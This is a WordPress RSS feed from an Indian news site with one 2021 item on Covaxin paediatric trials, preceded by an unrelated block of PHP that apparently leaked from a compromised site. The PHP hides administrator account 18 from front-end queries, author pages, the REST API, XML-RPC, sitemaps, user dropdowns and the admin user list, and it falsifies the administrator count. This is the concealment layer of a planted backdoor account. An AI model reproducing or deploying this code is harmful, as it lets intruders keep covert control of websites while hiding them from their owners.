add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>adults Archives &#8211; The Edge Media</title>
	<atom:link href="https://theedgemedia.in/tag/adults/feed" rel="self" type="application/rss+xml" />
	<link>https://theedgemedia.in/tag/adults</link>
	<description>Another Look At Your Day</description>
	<lastBuildDate>Tue, 18 May 2021 14:17:44 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png</url>
	<title>adults Archives &#8211; The Edge Media</title>
	<link>https://theedgemedia.in/tag/adults</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</title>
		<link>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days</link>
					<comments>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Tue, 18 May 2021 14:17:44 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Medical & Health]]></category>
		<category><![CDATA[#vaccination]]></category>
		<category><![CDATA[adults]]></category>
		<category><![CDATA[Bharat biotech]]></category>
		<category><![CDATA[children]]></category>
		<category><![CDATA[Covaxin]]></category>
		<category><![CDATA[Covid 19]]></category>
		<category><![CDATA[Covishield]]></category>
		<category><![CDATA[DCGI]]></category>
		<category><![CDATA[Serum Institute of India]]></category>
		<category><![CDATA[vaccine]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=12968</guid>

					<description><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>The senior NITI Aayog member, VK Paul announced on Tuesday that the phase II/III clinical trials will begin in 10-12 days. The trials will be for the children ageing between 2 to 18 years. The Health Ministry said that proposal was initiated in Subject Expert Committee (SEC) on May 11. India gave clearance to the Covaxin trials on May 13.</p>
<p>Dr. VK Paul, a member of the health NITI Aayog said,&#8221;COVAXIN has been approved by the Drugs Controller General of India (DCGI), for phase II/III clinical trials in the age group of 2 to 18 years. I have been told that trials will begin in the next 10-12 days&#8221;. The trial will be done in 525 subjects at various sites.</p>
<p>Covaxin, together with Covishield, is being used to vaccinate adults in the country. The US authorized Pfizer and BioNTech&#8217;s vaccine for children ageing from 2 to 15 years last week.</p>
<p>The post <a href="https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days">Phase 2/3 trials  of Covaxin in children to begin in 10-12 days</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theedgemedia.in/phase-2-3-trials-of-covaxin-in-children-to-begin-in-10-12-days/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>